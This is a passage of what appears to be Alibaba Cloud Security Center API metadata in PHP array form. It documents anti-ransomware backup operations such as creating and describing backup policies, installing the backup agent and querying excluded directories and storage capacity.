7,\\n \\"BytesDone\\": 800,\\n \\"Paths\\": [\\n \\"/home\\"\\n ],\\n \\"ClientVersion\\": \\"2.10.0\\"\\n }\\n ]\\n}","type":"json"}]', 'title' => 'DescribeSnapshots', ], 'DescribeBackupMachineStatus' => [ 'summary' => 'Queries the backup status of a sever to which an anti-ransomware policy is applied.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'systemTags' => [ 'operationType' => 'get', ], 'parameters' => [ [ 'name' => 'PolicyId', 'in' => 'query', 'schema' => [ 'description' => 'The ID of the anti-ransomware policy.'."\n" ."\n" .'> You can call the [DescribeBackupPolicies](~~DescribeBackupPolicies~~) operation to query the IDs of anti-ransomware policies.'."\n", 'type' => 'integer', 'format' => 'int64', 'required' => true, 'example' => '123', ], ], [ 'name' => 'Uuid', 'in' => 'query', 'schema' => [ 'description' => 'The UUID of the server.'."\n" ."\n" .'> You can call the [DescribeBackupPolicy](~~DescribeBackupPolicy~~) operation to query the UUIDs of servers.'."\n", 'type' => 'string', 'required' => true, 'example' => 'eb2c782e-64f2-4590-a86c-d90164df****', ], ], [ 'name' => 'PolicyVersion', 'in' => 'query', 'schema' => [ 'description' => 'The version of the anti-ransomware policy. Valid values:'."\n" ."\n" .'* **1.0.0**'."\n" .'* **2.0.0**'."\n", 'type' => 'string', 'required' => false, 'example' => '2.0.0', ], ], ], 'responses' => [ 200 => [ 'schema' => [ 'description' => 'The response parameters.'."\n", 'type' => 'object', 'properties' => [ 'RequestId' => [ 'description' => 'The ID of the request, which is used to locate and troubleshoot issues.'."\n", 'type' => 'string', 'example' => '09969D2C-4FAD-429E-BFBF-9A60DEF8****', ], 'BackupMachineStatus' => [ 'description' => 'The backup status of the server.'."\n", 'type' => 'object', 'properties' => [ 'Status' => [ 'description' => 'The status of the anti-ransomware agent. Valid values:'."\n" ."\n" .'* **NOT_INSTALLED**: not installed'."\n" .'* **CLIENT_CONNECTION_ERROR**: abnormal'."\n" .'* **ACTIVATED**: normal'."\n", 'type' => 'string', 'example' => 'ACTIVATED', ], 'Uuid' => [ 'description' => 'The UUID of the server.'."\n", 'type' => 'string', 'example' => 'eb2c782e-64f2-4590-a86c-d90164df****', ], 'VaultId' => [ 'description' => 'The ID of the backup vault in which the backup data is stored.'."\n", 'type' => 'string', 'example' => 'v-0005i2qh5fcr6seo****', ], 'ErrorCode' => [ 'description' => 'The error code returned.'."\n", 'type' => 'string', 'example' => 'CLIENT_CONNECTION_ERROR', ], 'SavedBackupCount' => [ 'description' => 'The number of backup versions.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '7', ], 'InstanceId' => [ 'description' => 'The ID of the server.'."\n", 'type' => 'string', 'example' => 'i-2zeaqkb80vloxjcj****', ], 'ClientStatus' => [ 'description' => 'The status of the anti-ransomware agent. Valid values:'."\n" ."\n" .'* **ONLINE**: normal'."\n" .'* **CLIENT_CONNECTION_ERROR**: abnormal'."\n" .'* **UNINSTALLING**: being uninstalled'."\n" .'* **UNINSTALL_FAILED**: failed to be uninstalled'."\n" .'* **UPGRADING**: being upgraded'."\n" .'* **UPGRADE_FAILED**: failed to be upgraded'."\n", 'type' => 'string', 'example' => 'ONLINE', ], 'RegionId' => [ 'description' => 'The ID of the region in which the server resides.'."\n", 'type' => 'string', 'example' => 'cn-shenzhen', ], 'ClientVersion' => [ 'description' => 'The version of the anti-ransomware agent.'."\n", 'type' => 'string', 'example' => '2.11.0', ], 'ClientId' => [ 'description' => 'The ID of the anti-ransomware agent.'."\n", 'type' => 'string', 'example' => 'c-000dbefaw9f7gnbw****', ], 'ErrorList' => [ 'description' => 'An array that consists of the error information reported by the backup server.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The error information reported by the backup server.'."\n", 'type' => 'object', 'properties' => [ 'ErrorCode' => [ 'description' => 'The error code.'."\n", 'type' => 'string', 'example' => 'TARGET_NOT_EXIST', ], 'ErrorStatus' => [ 'description' => 'The error message.'."\n", 'type' => 'string', 'example' => 'FAILED', ], ], ], ], 'ServiceStatus' => [ 'description' => 'The status of the anti-ransomware service. Valid values:'."\n" .'* **SERVICE_EXCEPTION**: Service exception'."\n" .'* **RESTORING**: Restoring'."\n" .'* **BACKING_UP**: Backup in process', 'type' => 'string', 'example' => 'RESTORING', ], ], ], ], ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"09969D2C-4FAD-429E-BFBF-9A60DEF8****\\",\\n \\"BackupMachineStatus\\": {\\n \\"Status\\": \\"ACTIVATED\\",\\n \\"Uuid\\": \\"eb2c782e-64f2-4590-a86c-d90164df****\\",\\n \\"VaultId\\": \\"v-0005i2qh5fcr6seo****\\",\\n \\"ErrorCode\\": \\"CLIENT_CONNECTION_ERROR\\",\\n \\"SavedBackupCount\\": 7,\\n \\"InstanceId\\": \\"i-2zeaqkb80vloxjcj****\\",\\n \\"ClientStatus\\": \\"ONLINE\\",\\n \\"RegionId\\": \\"cn-shenzhen\\",\\n \\"ClientVersion\\": \\"2.11.0\\",\\n \\"ClientId\\": \\"c-000dbefaw9f7gnbw****\\",\\n \\"ErrorList\\": [\\n {\\n \\"ErrorCode\\": \\"TARGET_NOT_EXIST\\",\\n \\"ErrorStatus\\": \\"FAILED\\"\\n }\\n ],\\n \\"ServiceStatus\\": \\"RESTORING\\"\\n }\\n}","type":"json"}]', 'title' => 'DescribeBackupMachineStatus', ], 'UpgradeBackupPolicyVersion' => [ 'summary' => 'Upgrades the version of an anti-ransomware policy.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'readAndWrite', 'systemTags' => [ 'operationType' => 'none', 'riskType' => 'none', 'chargeType' => 'free', 'abilityTreeNodes' => [ 'FEATUREsas79LA3S', ], ], 'parameters' => [ [ 'name' => 'Id', 'in' => 'query', 'schema' => [ 'description' => 'The ID of the anti-ransomware policy.'."\n" ."\n" .'> You can call the [DescribeBackupPolicies](~~DescribeBackupPolicies~~) operation to query the IDs of anti-ransomware policies.'."\n", 'type' => 'integer', 'format' => 'int64', 'required' => true, 'example' => '123', ], ], ], 'responses' => [ 200 => [ 'headers' => [], 'schema' => [ 'description' => 'The data returned.'."\n", 'type' => 'object', 'properties' => [ 'RequestId' => [ 'description' => 'The ID of the request, which is used to locate and troubleshoot issues.'."\n", 'type' => 'string', 'example' => '9F5B8057-3E44-54DC-AC89-6814A4CD****', ], ], ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"9F5B8057-3E44-54DC-AC89-6814A4CD****\\"\\n}","type":"json"}]', 'title' => 'UpgradeBackupPolicyVersion', ], 'DescribeExcludeSystemPath' => [ 'summary' => 'Queries the directories that are excluded from anti-ransomware.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'systemTags' => [ 'operationType' => 'get', 'abilityTreeCode' => '92072', 'abilityTreeNodes' => [ 'FEATUREsasE5WAEJ', ], 'tenantRelevance' => 'publicInformation', ], 'parameters' => [ [ 'name' => 'PageSize', 'in' => 'query', 'schema' => [ 'description' => 'The number of entries to return on each page.'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => true, 'maximum' => '200', 'example' => '20', ], ], [ 'name' => 'CurrentPage', 'in' => 'query', 'schema' => [ 'description' => 'The number of the page to return. Default value: 1.'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => true, 'example' => '1', ], ], ], 'responses' => [ 200 => [ 'schema' => [ 'description' => 'The data returned.'."\n", 'type' => 'object', 'properties' => [ 'RequestId' => [ 'description' => 'The ID of the request, which is used to locate and troubleshoot issues.'."\n", 'type' => 'string', 'example' => 'FBBEB173-1F43-505F-A876-C03ECDF6****', ], 'PageInfo' => [ 'description' => 'The pagination information.'."\n", 'type' => 'object', 'properties' => [ 'CurrentPage' => [ 'description' => 'The page number of the returned page.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], 'PageSize' => [ 'description' => 'The number of entries returned per page.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '20', ], 'TotalCount' => [ 'description' => 'The total number of entries returned.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '55', ], 'Count' => [ 'description' => 'The number of entries returned on the current page.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '20', ], ], ], 'ExcludePaths' => [ 'description' => 'An array consisting of the directories that are excluded.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The information about the directory that is excluded.'."\n", 'type' => 'object', 'properties' => [ 'Path' => [ 'description' => 'The absolute path to the directory.'."\n", 'type' => 'string', 'example' => '/bin/', ], 'Os' => [ 'description' => 'The operating system of the server. Valid values:'."\n" ."\n" .'* **linux**: Linux'."\n" .'* **windows**: Windows'."\n", 'type' => 'string', 'example' => 'linux', ], ], ], ], ], ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"FBBEB173-1F43-505F-A876-C03ECDF6****\\",\\n \\"PageInfo\\": {\\n \\"CurrentPage\\": 1,\\n \\"PageSize\\": 20,\\n \\"TotalCount\\": 55,\\n \\"Count\\": 20\\n },\\n \\"ExcludePaths\\": [\\n {\\n \\"Path\\": \\"/bin/\\",\\n \\"Os\\": \\"linux\\"\\n }\\n ]\\n}","type":"json"}]', 'title' => 'DescribeExcludeSystemPath', ], 'DescribeBackupPolicy' => [ 'summary' => 'Queries the details of an anti-ransomware policy for servers.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'systemTags' => [ 'operationType' => 'get', 'riskType' => 'none', 'chargeType' => 'free', 'abilityTreeNodes' => [ 'FEATUREsas7JO011', ], ], 'parameters' => [ [ 'name' => 'Id', 'in' => 'query', 'schema' => [ 'description' => 'The ID of the anti-ransomware policy.'."\n" ."\n" .'> You can call the [DescribeBackupPolicies](~~DescribeBackupPolicies~~) operation to query the IDs of anti-ransomware policies.'."\n", 'type' => 'integer', 'format' => 'int64', 'required' => true, 'example' => '51880', ], ], ], 'responses' => [ 200 => [ 'schema' => [ 'description' => 'The data returned.'."\n", 'type' => 'object', 'properties' => [ 'RequestId' => [ 'description' => 'The ID of the request, which is used to locate and troubleshoot issues.'."\n", 'type' => 'string', 'example' => 'A4EB8B1C-1DEC-5E18-BCD0-D1BBB3936FA7', ], 'BackupPolicyDetail' => [ 'description' => 'The details of the anti-ransomware policy.'."\n", 'type' => 'object', 'properties' => [ 'Status' => [ 'description' => 'The status of the anti-ransomware policy. Valid values:'."\n" ."\n" .'* **enabled**: The anti-ransomware policy is manually enabled.'."\n" .'* **disabled**: The anti-ransomware policy is manually disabled. After an anti-ransomware policy is disabled, the data backup task that is running based on the policy stops.'."\n" .'* **closed**: The anti-ransomware policy automatically stops because the anti-ransomware capacity is insufficient.'."\n", 'type' => 'string', 'example' => 'closed', ], 'PolicyVersion' => [ 'description' => 'The version of the anti-ransomware policy.'."\n" ."\n" .'* **1.0.0**'."\n" .'* **2.0.0**'."\n", 'type' => 'string', 'example' => '2.0.0', ], 'Policy' => [ 'description' => '* **IsDefault**: the type of the anti-ransomware policy. Valid values:'."\n" ."\n" .' * **1**: recommended policy'."\n" .' * **0**: custom policy'."\n" ."\n" .'* **Include**: the format of the files that you want to protect. If you want to protect the files in all formats, set this field to \\[].'."\n" ."\n" .'* **Source**: the directory that you want to protect. If you want to protect all directories, set this field to \\[].'."\n" ."\n" .'* **ExcludeSystemPath**: specifies whether to exclude a specific directory from the anti-ransomware policy. If you want to exclude a directory, set this field to **true**. If you do not want to exclude a directory, leave this field empty.'."\n" ."\n" .'* **Exclude**: the directory that you want to exclude from the anti-ransomware policy. If you do not want to exclude a directory, set this field to \\[].'."\n" ."\n" .'* **Schedule**: the start time and interval of a data backup task. We recommend that you specify a start time that begins during off-peak hours but does not start on the hour. Examples:'."\n" ."\n" .' * If you set this field to I|1583216092|P21D, the data backup task starts from 2020-03-03 14:14:52, and the task is run at an interval of three weeks.'."\n" .' * If you set this field to I|1583216092|PT24H, the data backup task starts from 2020-03-03 14:14:52, and the task is run at an interval of 24 hours.'."\n" ."\n" .'* **Retention**: the period during which backup data is retained. Unit: days. If you set this field to 7, backup data is retained for a week. If you set this field to 365, backup data is retained for a year. If you set this field to -1, backup data is permanently retained.'."\n" ."\n" .'* **SpeedLimiter**: the limit on the network bandwidth for data backup tasks. If you set this field to 0:24:30720, the maximum bandwidth for a data backup task is 30 MB/s from 00:00 to 24:00.'."\n" ."\n" .'* **UseVss**: specifies whether to enable the VSS feature. The feature is available only for Windows servers. Valid values:'."\n" ."\n" .' * **true**: yes'."\n" .' * **false**: no'."\n" ."\n" .'> The VSS feature is available only if you create the anti-ransomware policy for Windows servers. After you enable the feature, the number of backup failures due to running processes is significantly reduced. We recommend that you enable the VSS feature. After you enable the feature, the data of disks that are in the exFAT and FAT32 formats cannot be backed up.', 'type' => 'string', 'example' => '{'."\n" .' "Exclude": ['."\n" .' "/bin/",'."\n" .' "/usr/bin/",'."\n" .' "/sbin/",'."\n" .' "/boot/",'."\n" .' "/proc/",'."\n" .' "/sys/",'."\n" .' "/srv/",'."\n" .' "/lib/",'."\n" .' "/selinux/",'."\n" .' "/usr/sbin/",'."\n" .' "/run/",'."\n" .' "/lib32/",'."\n" .' "/lib64/",'."\n" .' "/lost+found/",'."\n" .' "/var/lib/kubelet/",'."\n" .' "/var/lib/ntp/proc",'."\n" .' "/var/lib/container",'."\n" .' "Windows\\\\",'."\n" .' "Python27\\\\",'."\n" .' "Program Files (x86)\\\\",'."\n" .' "Program Files\\\\",'."\n" .' "Boot\\\\",'."\n" .' "$RECYCLE.BIN",'."\n" .' "System Volume Information\\\\",'."\n" .' "Users\\\\Administrator\\\\NTUSER.DAT*",'."\n" .' "ProgramData\\\\",'."\n" .' "pagefile.sys",'."\n" .' "Users\\\\Default\\\\NTUSER.DAT*",'."\n" .' "Users\\\\Administrator\\\\ntuser.*"'."\n" .' ],'."\n" .' "ExcludeSystemPath": true,'."\n" .' "Include": [],'."\n" .' "IsDefault": 1,'."\n" .' "Retention": 7,'."\n" .' "Schedule": "I|1630689360|PT24H",'."\n" .' "Source": [],'."\n" .' "SpeedLimiter": "",'."\n" .' "UseVss": true'."\n" .'}', ], 'ClientStatus' => [ 'description' => 'The status of the anti-ransomware agent. Valid values:'."\n" ."\n" .'* **running**: normal'."\n" .'* **exception**: abnormal'."\n", 'type' => 'string', 'example' => 'running', ], 'Name' => [ 'description' => 'The name of the anti-ransomware policy.'."\n", 'type' => 'string', 'example' => 'testBuckUp', ], 'Id' => [ 'description' => 'The ID of the anti-ransomware policy.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '51880', ], 'RegionId' => [ 'description' => 'The ID of the region in which backup data is stored.'."\n", 'type' => 'string', 'example' => 'cn-beijing', ], 'UuidList' => [ 'description' => 'An array consisting of the UUIDs of the servers to which the anti-ransomware policy is applied.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The UUID of the server to which the anti-ransomware policy is applied.'."\n", 'type' => 'string', 'example' => 'inet-49611a6b-a98a-455d-a18a-92af9265****', ], ], ], ], ], ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"A4EB8B1C-1DEC-5E18-BCD0-D1BBB3936FA7\\",\\n \\"BackupPolicyDetail\\": {\\n \\"Status\\": \\"closed\\",\\n \\"PolicyVersion\\": \\"2.0.0\\",\\n \\"Policy\\": \\"{\\\\n \\\\\\"Exclude\\\\\\": [\\\\n \\\\\\"/bin/\\\\\\",\\\\n \\\\\\"/usr/bin/\\\\\\",\\\\n \\\\\\"/sbin/\\\\\\",\\\\n \\\\\\"/boot/\\\\\\",\\\\n \\\\\\"/proc/\\\\\\",\\\\n \\\\\\"/sys/\\\\\\",\\\\n \\\\\\"/srv/\\\\\\",\\\\n \\\\\\"/lib/\\\\\\",\\\\n \\\\\\"/selinux/\\\\\\",\\\\n \\\\\\"/usr/sbin/\\\\\\",\\\\n \\\\\\"/run/\\\\\\",\\\\n \\\\\\"/lib32/\\\\\\",\\\\n \\\\\\"/lib64/\\\\\\",\\\\n \\\\\\"/lost+found/\\\\\\",\\\\n \\\\\\"/var/lib/kubelet/\\\\\\",\\\\n \\\\\\"/var/lib/ntp/proc\\\\\\",\\\\n \\\\\\"/var/lib/container\\\\\\",\\\\n \\\\\\"Windows\\\\\\\\\\\\\\\\\\\\\\",\\\\n \\\\\\"Python27\\\\\\\\\\\\\\\\\\\\\\",\\\\n \\\\\\"Program Files (x86)\\\\\\\\\\\\\\\\\\\\\\",\\\\n \\\\\\"Program Files\\\\\\\\\\\\\\\\\\\\\\",\\\\n \\\\\\"Boot\\\\\\\\\\\\\\\\\\\\\\",\\\\n \\\\\\"$RECYCLE.BIN\\\\\\",\\\\n \\\\\\"System Volume Information\\\\\\\\\\\\\\\\\\\\\\",\\\\n \\\\\\"Users\\\\\\\\\\\\\\\\Administrator\\\\\\\\\\\\\\\\NTUSER.DAT*\\\\\\",\\\\n \\\\\\"ProgramData\\\\\\\\\\\\\\\\\\\\\\",\\\\n \\\\\\"pagefile.sys\\\\\\",\\\\n \\\\\\"Users\\\\\\\\\\\\\\\\Default\\\\\\\\\\\\\\\\NTUSER.DAT*\\\\\\",\\\\n \\\\\\"Users\\\\\\\\\\\\\\\\Administrator\\\\\\\\\\\\\\\\ntuser.*\\\\\\"\\\\n ],\\\\n \\\\\\"ExcludeSystemPath\\\\\\": true,\\\\n \\\\\\"Include\\\\\\": [],\\\\n \\\\\\"IsDefault\\\\\\": 1,\\\\n \\\\\\"Retention\\\\\\": 7,\\\\n \\\\\\"Schedule\\\\\\": \\\\\\"I|1630689360|PT24H\\\\\\",\\\\n \\\\\\"Source\\\\\\": [],\\\\n \\\\\\"SpeedLimiter\\\\\\": \\\\\\"\\\\\\",\\\\n \\\\\\"UseVss\\\\\\": true\\\\n}\\",\\n \\"ClientStatus\\": \\"running\\",\\n \\"Name\\": \\"testBuckUp\\",\\n \\"Id\\": 51880,\\n \\"RegionId\\": \\"cn-beijing\\",\\n \\"UuidList\\": [\\n \\"inet-49611a6b-a98a-455d-a18a-92af9265****\\"\\n ]\\n }\\n}","type":"json"}]', 'title' => 'DescribeBackupPolicy', ], 'CreateBackupPolicy' => [ 'summary' => 'Creates an anti-ransomware policy for servers.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'readAndWrite', 'systemTags' => [ 'operationType' => 'create', 'riskType' => 'none', 'chargeType' => 'free', 'abilityTreeCode' => '91920', 'abilityTreeNodes' => [ 'FEATUREsas8YMQ5V', ], ], 'parameters' => [ [ 'name' => 'Name', 'in' => 'query', 'schema' => [ 'description' => 'The name of the anti-ransomware policy.'."\n", 'type' => 'string', 'required' => true, 'example' => 'ServerBackUpPolicy01', ], ], [ 'name' => 'Policy', 'in' => 'query', 'style' => 'json', 'schema' => [ 'description' => '* **IsDefault**: the type of the anti-ransomware policy. Valid values:'."\n" ."\n" .' * **1**: recommended policy'."\n" .' * **0**: custom policy'."\n" ."\n" .'* **Include**: the format of the files that you want to protect. If you want to protect the files in all formats, set this field to \\[].'."\n" ."\n" .'* **Source**: the directory that you want to protect. If you want to protect all directories, set this field to \\[].'."\n" ."\n" .'* **ExcludeSystemPath**: specifies whether to exclude a specific directory from the anti-ransomware policy. If you want to exclude a directory, set this field to **true**. If you do not want to exclude a directory, leave this field empty.'."\n" ."\n" .'* **Exclude**: the directory that you want to exclude from the anti-ransomware policy. If you do not want to exclude a directory, set this field to \\[].'."\n" ."\n" .'* **Schedule**: the start time and interval of a data backup task. We recommend that you specify a start time that begins during off-peak hours but does not start on the hour. Examples:'."\n" ."\n" .' * If you set this field to I|1583216092|P21D, the data backup task starts from 2020-03-03 14:14:52, and the task is run at an interval of three weeks.'."\n" .' * If you set this field to I|1583216092|PT24H, the data backup task starts from 2020-03-03 14:14:52, and the task is run at an interval of 24 hours.'."\n" ."\n" .'* **Retention**: the period during which backup data is retained. Unit: days. If you set this field to 7, backup data is retained for a week. If you set this field to 365, backup data is retained for a year. If you set this field to -1, backup data is permanently retained.'."\n" ."\n" .'* **SpeedLimiter**: the limit on the network bandwidth for data backup tasks. If you set this field to 0:24:30720, the maximum bandwidth for a data backup task is 30 MB/s from 00:00 to 24:00.'."\n" ."\n" .'* **UseVss**: specifies whether to enable the VSS feature. The feature is available only for Windows servers. Valid values:'."\n" ."\n" .' * **true**: yes'."\n" .' * **false**: no'."\n" ."\n" .'> The VSS feature is available only if you create the anti-ransomware policy for Windows servers. After you enable the feature, the number of backup failures due to running processes is significantly reduced. We recommend that you enable the VSS feature. After you enable the feature, the data of disks that are in the exFAT and FAT32 formats cannot be backed up.'."\n", 'type' => 'object', 'required' => true, 'example' => '"{"IsDefault":1,"Include":[],"Source":[],"Schedule":"I|1648061040|PT24H","Retention":7,"SpeedLimiter":"","ExcludeSystemPath":true,"Exclude":["/bin/","/usr/bin/","/sbin/","/boot/","/proc/","/sys/","/srv/","/lib/","/selinux/","/usr/sbin/","/run/","/lib32/","/lib64/","/lost+found/","/var/lib/kubelet/","/var/lib/ntp/proc","/var/lib/container","Windows","Python27","Program Files (x86)","Program Files","Boot","$RECYCLE.BIN","System Volume Information","Users\\Administrator\\NTUSER.DAT*","ProgramData","pagefile.sys","Users\\Default\\NTUSER.DAT*","Users\\Administrator\\ntuser.*"],"UseVss":true}"', ], ], [ 'name' => 'PolicyVersion', 'in' => 'query', 'schema' => [ 'description' => 'The version of the anti-ransomware policy. Set the value to **2.0.0**.'."\n", 'type' => 'string', 'required' => true, 'example' => '2.0.0', ], ], [ 'name' => 'PolicyRegionId', 'in' => 'query', 'schema' => [ 'description' => 'The region ID of the server that is not deployed on Alibaba Cloud.'."\n" ."\n" .'> We recommend that you specify the ID of the supported region that is the nearest to the location of the server. You can call the [DescribeSupportRegion](~~DescribeSupportRegion~~) operation to query the supported regions of the anti-ransomware feature.'."\n", 'type' => 'string', 'required' => false, 'example' => 'ch-hangzhou', ], ], [ 'name' => 'UuidList', 'in' => 'query', 'style' => 'repeatList', 'schema' => [ 'description' => 'The UUIDs of the servers that you want to protect.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The UUIDs of the servers that you want to protect. Separate multiple UUIDs with commas (,).'."\n" ."\n" .'> You can call the [DescribeCloudCenterInstances](~~DescribeCloudCenterInstances~~) operation to query the UUIDs of servers.'."\n", 'type' => 'string', 'required' => false, 'example' => '3bb30859-b3b5-4f28-868f-b0892c98****', ], 'required' => true, 'example' => '["3bb30859-b3b5-4f28-868f-b0892c98****", "3bb30859-b3b5-4f28-868f-b0892c98****"]', 'maxItems' => 1000, ], ], ], 'responses' => [ 200 => [ 'schema' => [ 'description' => 'The data returned.'."\n", 'type' => 'object', 'properties' => [ 'RequestId' => [ 'description' => 'The ID of the request, which is used to locate and troubleshoot issues.'."\n", 'type' => 'string', 'example' => '24A20733-10A0-4AF6-BE6B-E3322413BB68', ], 'BackupPolicy' => [ 'description' => 'The information about the anti-ransomware policy.'."\n", 'type' => 'object', 'properties' => [ 'Id' => [ 'description' => 'The ID of the anti-ransomware policy.'."\n", 'type' => 'string', 'example' => '1301575', ], 'Status' => [ 'description' => 'The status of the anti-ransomware policy. Valid values:'."\n" ."\n" .'* **enabled**'."\n" .'* **disabled**'."\n" ."\n" .'> After you create an anti-ransomware policy, the policy is enabled by default.'."\n", 'type' => 'string', 'example' => 'enabled', ], ], ], ], ], ], ], 'errorCodes' => [ 400 => [ [ 'errorCode' => 'AgentNotOnline', 'errorMessage' => 'The agent not online.', ], [ 'errorCode' => 'AntiRansomwareCapacityUseUp', 'errorMessage' => 'anti ransomware capacity use up', ], [ 'errorCode' => 'DataExists', 'errorMessage' => 'data exist', ], ], 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'eventInfo' => [ 'enable' => false, 'eventNames' => [], ], 'responseDemo' => '[{"type":"json","example":"{\\n \\"RequestId\\": \\"24A20733-10A0-4AF6-BE6B-E3322413BB68\\",\\n \\"BackupPolicy\\": {\\n \\"Id\\": \\"1301575\\",\\n \\"Status\\": \\"enabled\\"\\n }\\n}","errorExample":""},{"type":"xml","example":"\\n 24A20733-10A0-4AF6-BE6B-E3322413BB68\\n","errorExample":""}]', 'title' => 'CreateBackupPolicy', 'responseParamsDescription' => ' ', 'extraInfo' => ' ', ], 'InstallBackupClient' => [ 'summary' => 'Installs the anti-ransomware agent.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'readAndWrite', 'systemTags' => [ 'operationType' => 'none', 'abilityTreeCode' => '92320', 'abilityTreeNodes' => [ 'FEATUREsas7JO011', ], ], 'parameters' => [ [ 'name' => 'Uuid', 'in' => 'query', 'schema' => [ 'description' => 'The UUID of the server on which you want to install the anti-ransomware agent.'."\n" ."\n" .'> You can call the [DescribeCloudCenterInstances](~~DescribeCloudCenterInstances~~) operation to query the UUIDs of servers. You must specify at least one of the UuidList and Uuid parameters.', 'type' => 'string', 'required' => false, 'example' => 'inet-617eddab-7df4-4a51-b217-a3f59194****', ], ], [ 'name' => 'PolicyVersion', 'in' => 'query', 'schema' => [ 'description' => 'The version of the anti-ransomware policy. Valid values:'."\n" ."\n" .'* **1.0.0**'."\n" .'* **2.0.0**'."\n", 'type' => 'string', 'required' => true, 'example' => '2.0.0', ], ], [ 'name' => 'UuidList', 'in' => 'query', 'style' => 'repeatList', 'schema' => [ 'description' => 'The UUIDs of servers on which you want to install the anti-ransomware agent.'."\n" ."\n" .'> You can call the [DescribeCloudCenterInstances](~~DescribeCloudCenterInstances~~) operation to query the UUIDs of servers.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The UUID of the server on which you want to install the anti-ransomware agent.'."\n" ."\n" .'> You must specify at least one of the UuidList and Uuid parameters.'."\n", 'type' => 'string', 'required' => false, 'example' => '3bb30859-b3b5-4f28-868f-b0892c98****', ], 'required' => false, 'example' => '["3bb30859-b3b5-4f28-868f-b0892c98****", "3bb30859-b3b5-4f28-868f-b0892c98****"]', 'maxItems' => 100, ], ], ], 'responses' => [ 200 => [ 'schema' => [ 'type' => 'object', 'properties' => [ 'RequestId' => [ 'description' => 'The ID of the request, which is used to locate and troubleshoot issues.'."\n", 'type' => 'string', 'example' => 'D0D6E6E4-CB8C-4897-B852-46AEFDA04B21', ], ], ], ], ], 'errorCodes' => [ 400 => [ [ 'errorCode' => 'HbrClientUpgrading', 'errorMessage' => 'Client upgrading.', ], [ 'errorCode' => 'HbrClientHealth', 'errorMessage' => 'client is health. not need reinstall', ], [ 'errorCode' => 'HbrClientInstalling', 'errorMessage' => 'During client installation, you can refresh the page to view the installation results.', ], ], 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'eventInfo' => [ 'enable' => false, 'eventNames' => [], ], 'responseDemo' => '[{"type":"json","example":"{\\n \\"RequestId\\": \\"D0D6E6E4-CB8C-4897-B852-46AEFDA04B21\\"\\n}","errorExample":""},{"type":"xml","example":"\\n D0D6E6E4-CB8C-4897-B852-46AEFDA04B21\\n","errorExample":""}]', 'title' => 'InstallBackupClient', 'requestParamsDescription' => ' ', 'responseParamsDescription' => ' ', 'extraInfo' => ' ', ], 'GetBackupStorageCount' => [ 'summary' => 'Queries the anti-ransomware capacity that is used.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'systemTags' => [ 'operationType' => 'get', ], 'parameters' => [], 'responses' => [ 200 => [ 'schema' => [ 'type' => 'object', 'properties' => [ 'RequestId' => [ 'description' => 'The ID of the request, which is used to locate and troubleshoot issues.'."\n", 'type' => 'string', 'example' => '33C2CCFF-4BF8-5F88-9B5C-22F932F80E5A', ], 'BackupStorageCount' => [ 'description' => 'The details about the anti-ransomware capacity.'."\n", 'type' => 'object', 'properties' => [ 'Overflow' => [ 'description' => 'Indicates whether the anti-ransomware capacity that is used exceeds the anti-ransomware capacity that you purchased. Valid values:'."\n" ."\n" .'* **0**: no'."\n" .'* **1**: yes'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '0', ], 'UniUsageStorageByte' => [ 'description' => 'The storage capacity that is occupied by the backup data of your databases. Unit: bytes.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '7453049350', ], 'BuyStorageByte' => [ 'description' => 'The anti-ransomware capacity that you purchased. Unit: bytes.'."\n", 'type' => 'integer', 'format' => 